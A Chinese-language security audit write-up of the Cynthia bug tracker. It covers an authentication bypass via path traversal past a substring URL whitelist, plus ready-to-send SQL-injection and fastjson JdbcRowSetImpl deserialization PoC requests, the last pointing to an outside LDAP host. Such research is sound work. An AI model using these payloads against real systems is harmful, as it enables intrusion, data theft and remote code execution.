鉴权分析-全站未授权
先找到web.xml配置,定位到鉴权的过滤器

审计过滤器逻辑
src\main\java\com\sogou\qadev\service\cynthia\util\LoginFilter.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public void doFilter(ServletRequest request, ServletResponse response,FilterChain nextFilter) throws IOException, ServletException { HttpServletRequest httpRequest = (HttpServletRequest) request; HttpSession session = httpRequest.getSession(); HttpServletResponse httpResponse = (HttpServletResponse) response; String requestURI = httpRequest.getRequestURI();
ConfigManager.deployPath = httpRequest.getContextPath(); ConfigManager.deployUrl = httpRequest.getHeader("Origin"); ConfigManager.deployScheme = httpRequest.getScheme(); if(CynthiaUtil.isNull(ConfigManager.deployUrl)){ ConfigManager.deployUrl = httpRequest.getHeader("Host"); } ConfigManager.deployUrl = ConfigManager.deployUrl.replace("http://", ""); CookieManager.addCookie(httpResponse, "webRootDir", ConfigUtil.getCynthiaWebRoot(), 60 * 60 * 24 * 14 ,null);
for (String magicUrl : magicUrlSet) { if (requestURI.contains(magicUrl)) { nextFilter.doFilter(request, response); return; } } Key key = (Key) session.getAttribute(
|
关键在于
1 2 3 4 5 6 7
| for (String magicUrl : magicUrlSet) { if (requestURI.contains(magicUrl)) { nextFilter.doFilter(request, response); return; } }
|
如果requestURI包含magicUrl就放行该请求
接下来分析magicUrlSet的定义

继续跟进,这里就能看出magicUrlSet的内容了,config.getInitParameter是 ServletConfig 接口中的方法,从 web.xml 配置中获取指定名称的初始化参数值*

于是我们在web.xml搜索magicUrls,就能找到了

1
| <param-value>attachment;checkExist.do;getCrashTasks.jsp;webservice;queryProjectBugNum.do;client.jsp;login;cleanSession.do;register;executeFilter.jsp;getCrashTasks.jsp;login.jsp;register.jsp;logout.do;logout.jsp</param-value>
|
于是鉴权的逻辑就是只要请求的url包含上述配置url就直接放行
使用目录跳转符绕过即可

SQL注入
搜索append("select关键字

找到一处sink点,直接拼接了username参数,跟进看看是否可控
找调用

找到了控制器,参数用户可控

构造poc
1 2 3 4
| GET /cynthia/attachment/../quitBugMove/getUserNoCloseData.do?templateId=744313&userName=1* HTTP/1.1 Host: localhost:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
|
sqlmap出结果

fastjosn
sink点

路由和参数齐全

这里有两个判断,判断templateId是否为空,然后将字符串templateId转化为UUID对象,根据UUID去数据库或缓存中查询验证是否存在对应的templateId。于是我们需要一个真实存在的templateId才能触发后续的反序列化,这个抓包获取一个值就行了
构造POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| POST /cynthia/template/saveTemplateMailConfig.do HTTP/1.1 Host: localhost:8080 Content-Length: 259 sec-ch-ua-platform: "Windows" X-XSRF-TOKEN: null sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://localhost:8080 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8080/cynthia/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=04DD2441D292AB388A977D23986EF643; webRootDir="http://localhost:8080/cynthia/"; login_username=admin; login_password=21232f297a57a5a743894a0e4a801fc3; userId=""; login_nickname=admin; displayTagDiv=false; defalutSearchValue=description Connection: close
templateId=744313&templateMailOptions=%5B%7B %20%20%20%20%22%40type%22%3A%20%22com.sun.rowset.JdbcRowSetImpl%22%2C %20%20%20%20%22dataSourceName%22%3A%20%22ldap%3A%2F%2F2nhq55em.requestrepo.com%2FExploit%22%2C %20%20%20%20%22autoCommit%22%3A%20true %7D%5D
|

接收到dnslog
